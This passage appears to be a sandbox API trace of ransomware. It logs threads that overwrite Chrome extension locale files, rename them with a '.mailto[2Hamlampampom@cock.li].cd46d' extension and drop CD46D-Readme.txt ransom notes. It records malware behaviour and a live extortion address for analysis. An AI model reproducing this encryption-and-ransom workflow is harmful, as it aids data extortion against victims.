Seed=0xa70f8c4) returned 0x400860e2 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x6c1bc4bc [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x338f4f9c [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x13116b3e [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x5b1de47f [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x334f38e9 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0xe0d8b46 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x2a7fc766 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x40755c87 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x3d6bc9f1 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x3d837b8c [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x1b60eadc [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x3f6291c7 [0198.528] RtlRandomEx (in: Seed=0xa70f8c4 | out: Seed=0xa70f8c4) returned 0x762abb0e [0198.540] ReadFile (in: hFile=0x8fc, lpBuffer=0xd511880, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0xa70f8b4, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesRead=0xa70f8b4*=0xd8, lpOverlapped=0x0) returned 1 [0198.541] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.541] WriteFile (in: hFile=0x8fc, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0xa70f8b0, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0xa70f8b0*=0xd8, lpOverlapped=0x0) returned 1 [0199.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0199.588] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0199.588] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0199.588] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0199.589] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0199.589] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb208) returned 1 [0199.589] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2aa0) returned 1 [0199.589] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x938150 [0199.589] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.590] WriteFile (in: hFile=0x8fc, lpBuffer=0x12cf53d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa70f918, lpOverlapped=0x0 | out: lpBuffer=0x12cf53d8*, lpNumberOfBytesWritten=0xa70f918*=0x10b, lpOverlapped=0x0) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf53d8) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938180) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af370) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938150) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0199.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9455a0) returned 1 [0199.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6b38 [0199.637] wcscpy (in: _Dest=0xd4c6b38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" [0199.637] wcscat (in: _Dest=0xd4c6b38, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.637] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa70f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8d40 [0199.684] FlushFileBuffers (hFile=0x8fc) returned 1 [0199.697] CloseHandle (hObject=0x8fc) returned 1 [0199.714] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b61e0 [0199.714] wcscpy (in: _Dest=0x9b61e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\" [0199.714] wcscat (in: _Dest=0x9b61e0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\CD46D-Readme.txt" [0199.714] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\cd46d-readme.txt")) returned 0xffffffff [0199.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14b8 [0199.722] WriteFile (in: hFile=0x14b8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xa70f8d8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xa70f8d8*=0x6fd, lpOverlapped=0x0) returned 1 [0199.731] CloseHandle (hObject=0x14b8) returned 1 [0199.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b61e0) returned 1 [0199.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99ce40) returned 1 Thread: id = 8412 os_tid = 0x18f4 [0193.512] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json")) returned 0x2020 [0193.513] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json", dwFileAttributes=0x20) returned 1 [0193.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd8c [0193.513] GetFileSizeEx (in: hFile=0xd8c, lpFileSize=0x54cfe3c | out: lpFileSize=0x54cfe3c*=216) returned 1 [0193.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938568 [0193.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9385e0 [0193.513] NtQuerySystemTime (in: CurrentTime=0x54cfd9c | out: CurrentTime=0x54cfd9c*=132174899681038000) returned 0x0 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x3525cfd8 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x7c64222e [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x4357628c [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x3ed51d76 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x715a88d0 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x26a9d2f [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x503d6f77 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x70252149 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x7960e4ae [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x65c8a168 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x43db11e2 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x1111561d [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x2a1f6bee [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x3f6cf57b [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x77fd96a7 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0xdc11763 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x9a540a1 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x9ca6902 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0xb6400db [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x6d53eeae [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x5b94df3 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x2d8e705a [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x1a904792 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0xcc10b2e [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x7332e0e5 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x4fc49d9e [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x1a6d3686 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x4d4625de [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x10358ea8 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0xabb4576 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x61d3f151 [0193.514] RtlRandomEx (in: Seed=0x54cfda8 | out: Seed=0x54cfda8) returned 0x4836b39c [0193.527] ReadFile (hFile=0xd8c, lpBuffer=0x1334e870, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x54cfd98, lpOverlapped=0x0) [0193.528] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.529] WriteFile (in: hFile=0xd8c, lpBuffer=0x1335b078*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x54cfd94, lpOverlapped=0x0 | out: lpBuffer=0x1335b078*, lpNumberOfBytesWritten=0x54cfd94*=0xd8, lpOverlapped=0x0) returned 1 [0194.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945b40 [0194.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945af0 [0194.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945af0) returned 1 [0194.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1335b078) returned 1 [0194.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0194.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 [0194.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9b10) returned 1 [0194.464] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6a80 [0194.464] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.464] WriteFile (in: hFile=0xd8c, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x54cfdfc, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x54cfdfc*=0x10b, lpOverlapped=0x0) returned 1 [0195.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0195.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ab0) returned 1 [0195.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945af0) returned 1 [0195.882] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a80) returned 1 [0195.883] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b40) returned 1 [0195.883] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938568) returned 1 [0195.883] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938608) returned 1 [0195.883] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938630) returned 1 [0195.883] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf84e8 [0195.883] wcscpy (in: _Dest=0x12cf84e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" [0195.883] wcscat (in: _Dest=0x12cf84e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.883] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x54cfdb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.883] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8d40 [0196.030] FlushFileBuffers (hFile=0xd8c) returned 1 [0196.036] CloseHandle (hObject=0xd8c) returned 1 [0196.103] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5e08 [0196.103] wcscpy (in: _Dest=0x9b5e08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\" [0196.103] wcscat (in: _Dest=0x9b5e08, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\CD46D-Readme.txt" [0196.104] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\cd46d-readme.txt")) returned 0xffffffff [0196.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.208] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x54cfdbc, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x54cfdbc*=0x6fd, lpOverlapped=0x0) returned 1 [0196.209] CloseHandle (hObject=0x13e0) returned 1 [0196.209] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5e08) returned 1 [0196.209] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d590) returned 1 Thread: id = 8413 os_tid = 0x18f8 [0193.530] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0193.530] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json", dwFileAttributes=0x20) returned 1 [0198.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1174 [0198.473] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0xa46fe74 | out: lpFileSize=0xa46fe74*=206) returned 1 [0198.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945528 [0198.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457a8 [0198.473] NtQuerySystemTime (in: CurrentTime=0xa46fdd4 | out: CurrentTime=0xa46fdd4*=132174899730646000) returned 0x0 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x2ff5f90d [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x727cf12e [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x5b72e2db [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x2d2b5a1c [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x3c9d31de [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x2700a100 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x4a07cbe [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x3eecfaef [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x58a8eb83 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x53765f63 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x376749b6 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x21ea5046 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x8deb77e [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x1b7c2171 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x2f9d0946 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x6830a68d [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x71e99bde [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x226df00d [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x35ba7d60 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x389b4f20 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x6776f3db [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x7eaecc95 [0198.473] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x459c0471 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x78b84d72 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x3ed2320b [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x13565aed [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x4602c0e1 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x4382e021 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x77b85f2b [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x43ccc4f5 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x17d34d56 [0198.474] RtlRandomEx (in: Seed=0xa46fde0 | out: Seed=0xa46fde0) returned 0x49420975 [0198.487] ReadFile (in: hFile=0x1174, lpBuffer=0x13587008, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0xa46fdd0, 